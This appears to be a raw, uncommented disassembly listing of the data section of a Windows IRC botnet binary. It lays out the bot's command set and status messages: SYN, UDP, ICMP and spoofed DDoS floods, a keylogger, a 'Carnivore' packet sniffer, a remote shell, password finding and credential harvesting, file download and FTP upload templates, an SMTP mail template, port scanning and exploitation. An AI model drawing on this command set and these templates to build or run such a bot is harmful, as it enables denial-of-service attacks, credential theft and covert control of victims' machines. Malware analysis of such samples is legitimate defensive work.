sub_40D2E0+301Ao ; sub_40D2E0+4F21o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aAlreadyDScanni db ' Already %d scanning threads. Too many specified.',0 dword_42CE10 dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+2FE9o dd 2BBBB02h aFailedToSta_23 db ' Failed to start flood thread, error: <%d>.',0 align 4 dword_42CE58 dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+2F7Ao dd 2BBBB02h aSendingDPacket db ' Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 10h aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_40D2E0+2EA2o align 4 unk_42CEC8 db 2 ; DATA XREF: sub_40D2E0+2E8Do db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 69h, 6Eh db 67h ; g db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_24 db ' Failed to start flood thread, error: <%d>.',0 align 10h unk_42CF10 db 2 ; DATA XREF: sub_40D2E0+2E22o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 69h, 6Eh db 67h ; g db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSendingDPingsT db ' Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 4 dword_42CF68 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0:loc_410062o dd 2BBBB02h aInvalidFlood_0 db ' Invalid flood time must be greater than 0.',0 align 10h dword_42CFB0 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+2D78o dd 2BBBB02h aFailedToSta_25 db ' Failed to start flood thread, error: <%d>.',0 align 4 dword_42CFF8 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+2CFEo dd 2BBBB02h aSSFloodingSSFo db ' %s %s flooding: (%s:%s) for %s seconds.',0 align 4 aNormal db 'Normal',0 ; DATA XREF: sub_40D2E0+2CEEo align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_40D2E0+2CE7o dword_42D04C dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+2C4Co dd 2BBBB02h aInvalidFloodTy db ' Invalid flood type specified.',0 dword_42D084 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0:loc_40FE41o dd 2BBBB02h aUploadingFileS db ' Uploading file: %s to: %s failed.',0 dword_42D0C0 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+2B5Ao dd 2BBBB02h aUploadingFil_0 db ' Uploading file: %s to: %s',0 aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_40D2E0+2B43o aSS_4 db '-s:%s',0 ; DATA XREF: sub_40D2E0+2B2Co align 4 aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_40D2E0+2B09o db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_40D2E0+2AD4o align 4 dword_42D138 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+2A8Ao dd 2BBBB02h aFileNotFoundS_ db ' File not found: %s.',0 align 4 aFtp_upload db 'ftp.upload',0 ; DATA XREF: sub_40D2E0+2A67o align 4 aUtil_hcon db 'util.hcon',0 ; DATA XREF: sub_40D2E0+2A44o align 10h aUtil_httpcon db 'util.httpcon',0 ; DATA XREF: sub_40D2E0+2A2Do align 10h unk_42D190 db 3 ; DATA XREF: sub_40D2E0+2A11o db 31h, 35h, 2Ch db 31h ; 1 db 34h, 6Eh, 7Ah db 6Dh ; m db 20h, 3, 32h db 2Eh ; . db 2Eh, 20h, 3 db 31h ; 1 db 35h, 28h, 65h db 6Dh ; m db 61h, 69h, 6Ch db 3 db 32h, 2Eh, 3 db 31h ; 1 db 35h, 6Dh, 6Fh db 64h ; d db 29h, 20h, 3 db 32h ; 2 db 0BBh, 3, 31h a5MessageSentTo db '5 Message sent to %s.',0 align 10h aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_40D2E0+299Do db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 a__0: ; DATA XREF: sub_40D2E0+2901o unicode 0, <_>,0 aUtil_email db 'util.email',0 ; DATA XREF: sub_40D2E0+28B2o align 4 aDdos_tcpf db 'ddos.tcpf',0 ; DATA XREF: sub_40D2E0+289Bo align 4 aDdos_tcpflood db 'ddos.tcpflood',0 ; DATA XREF: sub_40D2E0+2884o align 4 aP: ; DATA XREF: sub_40D2E0+286Do unicode 0, <p>,0 aDdos_pingf db 'ddos.pingf',0 ; DATA XREF: sub_40D2E0+2856o align 4 aDdos_pingflood db 'ddos.pingflood',0 ; DATA XREF: sub_40D2E0+283Fo align 4 aU_0: ; DATA XREF: sub_40D2E0+2828o unicode 0, <u>,0 aDdos_udpf db 'ddos.udpf',0 ; DATA XREF: sub_40D2E0+2811o align 4 aDdos_udpflood db 'ddos.udpflood',0 ; DATA XREF: sub_40D2E0+27FAo align 4 aAsc db 'asc',0 ; DATA XREF: sub_40D2E0+27E3o aAdvscan db 'advscan',0 ; DATA XREF: sub_40D2E0+27CCo aClone_ac db 'clone.ac',0 ; DATA XREF: sub_40D2E0+27A3o align 10h aClone_action db 'clone.action',0 ; DATA XREF: sub_40D2E0+278Co align 10h aClone_pm db 'clone.pm',0 ; DATA XREF: sub_40D2E0+2775o align 4 aClone_privmsg db 'clone.privmsg',0 ; DATA XREF: sub_40D2E0+275Eo align 4 aRoot_ps db 'root.ps',0 ; DATA XREF: sub_40D2E0+2747o aRoot_portscan db 'root.portscan',0 ; DATA XREF: sub_40D2E0+2730o align 4 aDaemon_rd db 'daemon.rd',0 ; DATA XREF: sub_40D2E0+2719o align 10h aDaemon_redirec db 'daemon.redirect',0 ; DATA XREF: sub_40D2E0+2702o aDownload_wg db 'download.wg',0 ; DATA XREF: sub_40D2E0+26EBo aDownload_wget db 'download.wget',0 ; DATA XREF: sub_40D2E0+26D4o align 4 aDdos_synf db 'ddos.synf',0 ; DATA XREF: sub_40D2E0+26BDo align 4 aDdos_synflood db 'ddos.synflood',0 ; DATA XREF: sub_40D2E0+26A6o align 4 aClone_start db 'clone.start',0 ; DATA XREF: sub_40D2E0+264Ao aClone_make db 'clone.make',0 ; DATA XREF: sub_40D2E0+2633o align 10h aDdos_ic db 'ddos.ic',0 ; DATA XREF: sub_40D2E0+260Ao aDdos_icmp db 'ddos.icmp',0 ; DATA XREF: sub_40D2E0+25F3o align 4 aCom_mv db 'com.mv',0 ; DATA XREF: sub_40D2E0+25DCo align 4 aCom_rename db 'com.rename',0 ; DATA XREF: sub_40D2E0+25C5o align 4 aFf db 'ff',0 ; DATA XREF: sub_40D2E0+25AEo align 4 aFindfile db 'findfile',0 ; DATA XREF: sub_40D2E0+2597o align 4 aCom_e db 'com.e',0 ; DATA XREF: sub_40D2E0+2580o align 10h aCom_execute db 'com.execute',0 ; DATA XREF: sub_40D2E0+2569o aDownload_up db 'download.up',0 ; DATA XREF: sub_40D2E0+2552o aDownload_updat db 'download.update',0 ; DATA XREF: sub_40D2E0+253Bo aIrc_de db 'irc.de',0 ; DATA XREF: sub_40D2E0+2524o align 10h aIrc_delay db 'irc.delay',0 ; DATA XREF: sub_40D2E0+250Do align 4 aIrc_rp db 'irc.rp',0 ; DATA XREF: sub_40D2E0+24F6o align 4 aIrc_repeat db 'irc.repeat',0 ; DATA XREF: sub_40D2E0+24DFo align 10h aClone_p db 'clone.p',0 ; DATA XREF: sub_40D2E0+24C8o aClone_part db 'clone.part',0 ; DATA XREF: sub_40D2E0+24B1o align 4 aClone_j db 'clone.j',0 ; DATA XREF: sub_40D2E0+249Ao aClone_join db 'clone.join',0 ; DATA XREF: sub_40D2E0+2483o align 4 aClone_ni db 'clone.ni',0 ; DATA XREF: sub_40D2E0+246Co align 4 aClone_nick db 'clone.nick',0 ; DATA XREF: sub_40D2E0+2455o align 10h aClone_m db 'clone.m',0 ; DATA XREF: sub_40D2E0+243Eo aClone_mode db 'clone.mode',0 ; DATA XREF: sub_40D2E0+2427o align 4 aClone_ra db 'clone.ra',0 ; DATA XREF: sub_40D2E0+2410o align 10h aClone_raw db 'clone.raw',0 ; DATA XREF: sub_40D2E0+23F9o align 4 aIrc_m db 'irc.m',0 ; DATA XREF: sub_40D2E0+23E2o align 4 aIrc_mode db 'irc.mode',0 ; DATA XREF: sub_40D2E0+23CBo align 10h aIrc_cy db 'irc.cy',0 ; DATA XREF: sub_40D2E0+23B4o align 4 aIrc_cycle db 'irc.cycle',0 ; DATA XREF: sub_40D2E0+239Do align 4 aIrc_ac db 'irc.ac',0 ; DATA XREF: sub_40D2E0+2386o align 4 aIrc_action db 'irc.action',0 ; DATA XREF: sub_40D2E0+236Fo align 4 aIrc_pm db 'irc.pm',0 ; DATA XREF: sub_40D2E0+2358o align 10h aIrc_privmsg db 'irc.privmsg',0 ; DATA XREF: sub_40D2E0+2341o aIrc_aa db 'irc.aa',0 ; DATA XREF: sub_40D2E0+232Ao align 4 aIrc_addalias db 'irc.addalias',0 ; DATA XREF: sub_40D2E0+2313o align 4 aIrc_gh db 'irc.gh',0 ; DATA XREF: sub_40D2E0+22EAo align 4 aIrc_gethost db 'irc.gethost',0 ; DATA XREF: sub_40D2E0+22D3o aCom_cap db 'com.cap',0 ; DATA XREF: sub_40D2E0+22BCo aCom_capture db 'com.capture',0 ; DATA XREF: sub_40D2E0+22A5o dword_42D4DC dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0:loc_40F537o dd 2BBBB02h aCommandUnknown db ' Command unknown.',0 align 4 dword_42D508 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0:loc_40F530o dd 2BBBB02h aNoMessageSpeci db ' No message specified.',0 dword_42D538 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0:loc_40F4E5o dd 2BBBB02h aUserListFailed db ' User list failed.',0 dword_42D564 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+21FEo dd 2BBBB02h aUserListComple db ' User list completed.',0 align 4 aUser db 'user',0 ; DATA XREF: sub_40D2E0+218Ao align 4 dword_42D59C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0:loc_40F45Fo dd 2BBBB02h aShareListFaile db ' Share list failed.',0 align 4 dword_42D5CC dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+2175o dd 2BBBB02h aShareListCompl db ' Share list completed.',0 aShare db 'share',0 ; DATA XREF: sub_40D2E0+211Fo align 4 aDelete db 'delete',0 ; DATA XREF: sub_40D2E0+20FDo align 4 aContinue db 'continue',0 ; DATA XREF: sub_40D2E0+20E5o align 4 aPause db 'pause',0 ; DATA XREF: sub_40D2E0+20CDo align 10h aStop db 'stop',0 ; DATA XREF: sub_40D2E0+20B5o align 4 dword_42D628 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0:loc_40F38Ao dd 2BBBB02h aServiceListFai db ' Service list failed.',0 align 4 dword_42D658 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+20A0o dd 2BBBB02h aServiceListCom db ' Service list completed.',0 align 4 aStart db 'start',0 ; DATA XREF: sub_40D2E0+2069o align 4 dword_42D694 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+2036o dd 2BBBB02h aFailedToLoadAd db ' Failed to load advapi32.dll or netapi32.dll.',0 align 4 aCom_net db 'com.net',0 ; DATA XREF: sub_40D2E0+2012o unk_42D6E4 db 2 ; DATA XREF: sub_40D2E0+1FD1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToSta_26 db ' Failed to start logging thread, error: <%d>.',0 align 10h unk_42D730 db 2 ; DATA XREF: sub_40D2E0+1F66o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aKeyLoggerActiv db ' Key logger active.',0 unk_42D760 db 2 ; DATA XREF: sub_40D2E0+1EE5o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aAlreadyRunni_1 db ' Already running.',0 align 10h unk_42D790 db 2 ; DATA XREF: sub_40D2E0:loc_40F1A1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aNoKeyLoggerThr db ' No key logger thread found.',0 align 4 unk_42D7CC db 2 ; DATA XREF: sub_40D2E0+1EB7o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aKeyLoggerStopp db ' Key logger stopped. (%d thread(s) stopped.)',0 align 4 aFile db 'file',0 ; DATA XREF: sub_40D2E0+1E83o ; sub_40D2E0+1EF9o align 10h aCom_keylog db 'com.keylog',0 ; DATA XREF: sub_40D2E0+1E5Do align 4 unk_42D82C db 2 ; DATA XREF: sub_40D2E0:loc_40F133o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aNoCarnivoreThr db 'No Carnivore thread found.',0 align 4 unk_42D864 db 2 ; DATA XREF: sub_40D2E0+1E49o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aCarnivoreStopp db 'Carnivore stopped. (%d thread(s) stopped.)',0 align 4 aOff db 'off',0 ; DATA XREF: sub_40D2E0+1E26o ; sub_40D2E0+1E94o unk_42D8B0 db 2 ; DATA XREF: sub_40D2E0+1E1Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToSta_27 db 'Failed to start sniffer thread, error: <%d>.',0 align 4 unk_42D8FC db 2 ; DATA XREF: sub_40D2E0+1DACo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aCarnivorePacke db 'Carnivore packet sniffer active.',0 align 4 unk_42D93C db 2 ; DATA XREF: sub_40D2E0+1D45o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aAlreadyRunni_2 db 'Already running.',0 align 4 aOn db 'on',0 ; DATA XREF: sub_40D2E0+1D25o ; sub_40D2E0+1E72o align 10h aSniff db 'sniff',0 ; DATA XREF: sub_40D2E0+1D10o align 4 aCom_rf db 'com.rf',0 ; DATA XREF: sub_40D2E0+1CF9o align 10h aCom_readfile db 'com.readfile',0 ; DATA XREF: sub_40D2E0+1CE2o align 10h aCom_cm db 'com.cm',0 ; DATA XREF: sub_40D2E0+1CCBo align 4 aCom_cmd db 'com.cmd',0 ; DATA XREF: sub_40D2E0+1CB4o aMirc_cmd db 'mirc.cmd',0 ; DATA XREF: sub_40D2E0+1C86o ; sub_40D2E0+1C9Do align 4 aIrc_v db 'irc.v',0 ; DATA XREF: sub_40D2E0+1C6Fo align 4 aIrc_visit db 'irc.visit',0 ; DATA XREF: sub_40D2E0+1C58o align 10h aCom_fl db 'com.fl',0 ; DATA XREF: sub_40D2E0+1C41o align 4 aCom_filelist db 'com.filelist',0 ; DATA XREF: sub_40D2E0+1C2Ao align 4 aDcc_gt db 'dcc.gt',0 ; DATA XREF: sub_40D2E0+1C13o align 10h aDcc_get db 'dcc.get',0 ; DATA XREF: sub_40D2E0+1BFCo aCom_del db 'com.del',0 ; DATA XREF: sub_40D2E0+1BE5o aCom_delete db 'com.delete',0 ; DATA XREF: sub_40D2E0+1BCEo align 4 aCom_pkid db 'com.pkid',0 ; DATA XREF: sub_40D2E0+1BB7o align 4 aCom_prockillid db 'com.prockillid',0 ; DATA XREF: sub_40D2E0+1BA0o align 4 aCom_kpn db 'com.kpn',0 ; DATA XREF: sub_40D2E0+1B89o aCom_killprocna db 'com.killprocname',0 ; DATA XREF: sub_40D2E0+1B72o align 4 aIrc_dn db 'irc.dn',0 ; DATA XREF: sub_40D2E0+1B5Bo align 4 aIrc_dns db 'irc.dns',0 ; DATA XREF: sub_40D2E0+1B44o aIrc_se db 'irc.se',0 ; DATA XREF: sub_40D2E0+1B2Do align 4 aIrc_setserve db 'irc.setserve',0 ; DATA XREF: sub_40D2E0+1B16o align 4 aCom_o db 'com.o',0 ; DATA XREF: sub_40D2E0+1AFFo align 4 aCom_open db 'com.open',0 ; DATA XREF: sub_40D2E0+1AE8o align 10h aIrc_pr db 'irc.pr',0 ; DATA XREF: sub_40D2E0+1AD1o align 4 aIrc_prefix db 'irc.prefix',0 ; DATA XREF: sub_40D2E0+1ABAo align 4 aClone_rn db 'clone.rn',0 ; DATA XREF: sub_40D2E0+1AA3o align 10h aClone_rndnick db 'clone.rndnick',0 ; DATA XREF: sub_40D2E0+1A8Co align 10h aClone_q db 'clone.q',0 ; DATA XREF: sub_40D2E0+1A75o aClone_quit db 'clone.quit',0 ; DATA XREF: sub_40D2E0+1A5Eo align 4 aThreads_k db 'threads.k',0 ; DATA XREF: sub_40D2E0+1A47o align 10h aThreads_kill db 'threads.kill',0 ; DATA XREF: sub_40D2E0+1A30o align 10h aIrc_ra db 'irc.ra',0 ; DATA XREF: sub_40D2E0+1A19o align 4 aIrc_raw db 'irc.raw',0 ; DATA XREF: sub_40D2E0+1A02o aIrc_pt db 'irc.pt',0 ; DATA XREF: sub_40D2E0+19EBo align 4 aIrc_part db 'irc.part',0 ; DATA XREF: sub_40D2E0+19D4o align 4 aIrc_j db 'irc.j',0 ; DATA XREF: sub_40D2E0+19BDo align 4 aIrc_join db 'irc.join',0 ; DATA XREF: sub_40D2E0+19A6o align 4 aIrc_n db 'irc.n',0 ; DATA XREF: sub_40D2E0+198Fo align 10h aIrc_nick db 'irc.nick',0 ; DATA XREF: sub_40D2E0+1978o align 4 aSa db 'sa',0 ; DATA XREF: sub_40D2E0+1952o align 10h aScanall db 'scanall',0 ; DATA XREF: sub_40D2E0+193Do aCom_fp db 'com.fp',0 ; DATA XREF: sub_40D2E0+1928o align 10h aCom_findpass db 'com.findpass',0 ; DATA XREF: sub_40D2E0+1913o align 10h aDaemon_tf_on db 'daemon.tf.on',0 ; DATA XREF: sub_40D2E0+18FEo align 10h aDaemon_tftp_on db 'daemon.tftp.on',0 ; DATA XREF: sub_40D2E0+18E9o align 10h aDaemon_web_on db 'daemon.web.on',0 ; DATA XREF: sub_40D2E0+18D4o align 10h aDaemon_httpd_o db 'daemon.httpd.on',0 ; DATA XREF: sub_40D2E0+18BFo aDaemon_rl_on db 'daemon.rl.on',0 ; DATA XREF: sub_40D2E0+18AAo align 10h aDaemon_rlogi_0 db 'daemon.rlogin.on',0 ; DATA XREF: sub_40D2E0+1895o align 4 aRoot_cip db 'root.cip',0 ; DATA XREF: sub_40D2E0+1880o align 10h aRoot_currentip db 'root.currentip',0 ; DATA XREF: sub_40D2E0+186Bo align 10h aUtil_fdns db 'util.fdns',0 ; DATA XREF: sub_40D2E0+1856o align 4 aUtil_flushdns db 'util.flushdns',0 ; DATA XREF: sub_40D2E0+1841o align 4 aUtil_farp db 'util.farp',0 ; DATA XREF: sub_40D2E0+182Co align 4 aUtil_flusharp db 'util.flusharp',0 ; DATA XREF: sub_40D2E0+1817o align 4 aCom_gc db 'com.gc',0 ; DATA XREF: sub_40D2E0+1802o align 10h aCom_getclip db 'com.getclip',0 ; DATA XREF: sub_40D2E0+17EDo dword_42DC0C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+17DDo dd 2BBBB02h aLoginListCompl db ' Login list complete.',0 align 4 aD_S db '%d. %s',0 ; DATA XREF: sub_40D2E0+17A9o ; sub_414FE9+46o align 4 aEmpty db '<Empty>',0 ; DATA XREF: sub_40D2E0+179Co aLoginList db '-[Login List]-',0 ; DATA XREF: sub_40D2E0+177Ao align 4 aIrc_who db 'irc.who',0 ; DATA XREF: sub_40D2E0+1761o aCmd db '[CMD]',0 ; DATA XREF: sub_40D2E0+1756o align 4 aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_40D2E0+1751o align 4 aCom_ocmd_off db 'com.ocmd.off',0 ; DATA XREF: sub_40D2E0+1738o align 4 aCom_ocmd db 'com.ocmd',0 ; DATA XREF: sub_40D2E0+1723o align 4 aCom_opencmd db 'com.opencmd',0 ; DATA XREF: sub_40D2E0+170Eo aCom_dll db 'com.dll',0 ; DATA XREF: sub_40D2E0+16F9o aCom_testdlls db 'com.testdlls',0 ; DATA XREF: sub_40D2E0+16E4o align 4 aCom_drv db 'com.drv',0 ; DATA XREF: sub_40D2E0+16CFo aCom_driveinfo db 'com.driveinfo',0 ; DATA XREF: sub_40D2E0+16BAo align 4 aCom_up db 'com.up',0 ; DATA XREF: sub_40D2E0+16A5o align 4 aCom_uptime db 'com.uptime',0 ; DATA XREF: sub_40D2E0+1690o align 4 aCom_key db 'com.key',0 ; DATA XREF: sub_40D2E0+167Bo aCom_harvest db 'com.harvest',0 ; DATA XREF: sub_40D2E0+1666o aCom_ps db 'com.ps',0 ; DATA XREF: sub_40D2E0+1651o align 4 aCom_procs db 'com.procs',0 ; DATA XREF: sub_40D2E0+163Co align 10h aIrc_rm0 db 'irc.rm0',0 ; DATA XREF: sub_40D2E0+1627o aIrc_rem0ve db 'irc.rem0ve',0 ; DATA XREF: sub_40D2E0+1612o align 4 aCom_si db 'com.si',0 ; DATA XREF: sub_40D2E0+15FDo align 4 aCom_sysinfo db 'com.sysinfo',0 ; DATA XREF: sub_40D2E0+15E8o unk_42DD38 db 2 ; DATA XREF: sub_40D2E0+15DDo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 75h, 70h db 65h ; e db 72h, 73h, 79h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_28 db ' Failed to start flood thread, error: <%d>.',0 align 4 unk_42DD84 db 2 ; DATA XREF: sub_40D2E0+156Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 75h, 70h db 65h ; e db 72h, 73h, 79h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSSFo_1 db ' Flooding: (%s:%s) for %s seconds.',0 aDdos_supersyn db 'ddos.supersyn',0 ; DATA XREF: sub_40D2E0+14D8o align 4 aCom_ni db 'com.ni',0 ; DATA XREF: sub_40D2E0+14C3o align 4 aCom_netinfo db 'com.netinfo',0 ; DATA XREF: sub_40D2E0+14AEo aUtil_clg db 'util.clg',0 ; DATA XREF: sub_40D2E0+1499o align 4 aUtil_clearlog db 'util.clearlog',0 ; DATA XREF: sub_40D2E0+1484o align 4 aIrc_lg db 'irc.lg',0 ; DATA XREF: sub_40D2E0+146Fo align 4 aIrc_log db 'irc.log',0 ; DATA XREF: sub_40D2E0+145Ao aIrc_al db 'irc.al',0 ; DATA XREF: sub_40D2E0+1445o align 4 aIrc_aliases db 'irc.aliases',0 ; DATA XREF: sub_40D2E0+1430o aThreads_l db 'threads.l',0 ; DATA XREF: sub_40D2E0+141Bo align 4 aThreads_list db 'threads.list',0 ; DATA XREF: sub_40D2E0+1406o align 4 dword_42DE44 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+13D2o dd 2BBBB02h aFailedToReboot db ' Failed to reboot system.',0 align 4 dword_42DE78 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+13CBo dd 2BBBB02h aRebootingSyste db ' Rebooting system.',0 aCom_rebewt db 'com.rebewt',0 ; DATA XREF: sub_40D2E0+13B4o align 10h aIrc_i db 'irc.i',0 ; DATA XREF: sub_40D2E0+139Fo align 4 aIrc_id db 'irc.id',0 ; DATA XREF: sub_40D2E0+138Ao align 10h aIrc_s db 'irc.s',0 ; DATA XREF: sub_40D2E0+1375o align 4 aIrc_status db 'irc.status',0 ; DATA XREF: sub_40D2E0+1360o align 4 aIrc_q db 'irc.q',0 ; DATA XREF: sub_40D2E0+134Bo align 4 aIrc_quit db 'irc.quit',0 ; DATA XREF: sub_40D2E0+1336o align 4 aIrc_d db 'irc.d',0 ; DATA XREF: sub_40D2E0+1321o align 10h aIrc_disconnect db 'irc.disconnect',0 ; DATA XREF: sub_40D2E0+130Co align 10h aIrc_r db 'irc.r',0 ; DATA XREF: sub_40D2E0+12F7o align 4 aIrc_reconnect db 'irc.reconnect',0 ; DATA XREF: sub_40D2E0+12E2o align 4 aRoot_st db 'root.st',0 ; DATA XREF: sub_40D2E0+12CDo aRoot_stats db 'root.stats',0 ; DATA XREF: sub_40D2E0+12B8o align 4 aExploitation db 'Exploitation',0 ; DATA XREF: sub_40D2E0+12ADo align 4 aScan db 'Scan',0 ; DATA XREF: sub_40D2E0+12A8o align 4 aRoot_stop db 'root.stop',0 ; DATA XREF: sub_40D2E0+128Fo align 10h dword_42DF50 dd 65027302h, 1F727563h, 2E2E1F65h, 0 ; DATA XREF: sub_40D2E0+1284o aSecure_0 db 'Secure',0 ; DATA XREF: sub_40D2E0+127Fo align 4 aLockdown_stop db 'lockdown.stop',0 ; DATA XREF: sub_40D2E0+1266o align 4 dword_42DF78 dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0 ; DATA XREF: sub_40D2E0+125Bo aClone db 'Clone',0 ; DATA XREF: sub_40D2E0+1256o align 10h aClone_off db 'clone.off',0 ; DATA XREF: sub_40D2E0+123Do align 4 aCom_ps_off db 'com.ps.off',0 ; DATA XREF: sub_40D2E0+1228o align 4 aCom_procs_off db 'com.procs.off',0 ; DATA XREF: sub_40D2E0+1213o align 4 aUtil_ff_off db 'util.ff.off',0 ; DATA XREF: sub_40D2E0+11FEo aUtil_findfile_ db 'util.findfile.off',0 ; DATA XREF: sub_40D2E0+11E9o align 4 dword_42DFD8 dd 66027402h, 641F7074h, 2E2E1Fh ; DATA XREF: sub_40D2E0+11DEo aDaemon_tftp_of db 'daemon.tftp.off',0 ; DATA XREF: sub_40D2E0+11C0o dword_42DFF4 dd 69027002h, 1F671F6Eh, 2E2Eh ; DATA XREF: sub_40D2E0+11B5o dword_42E000 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_40D2E0+11B0o 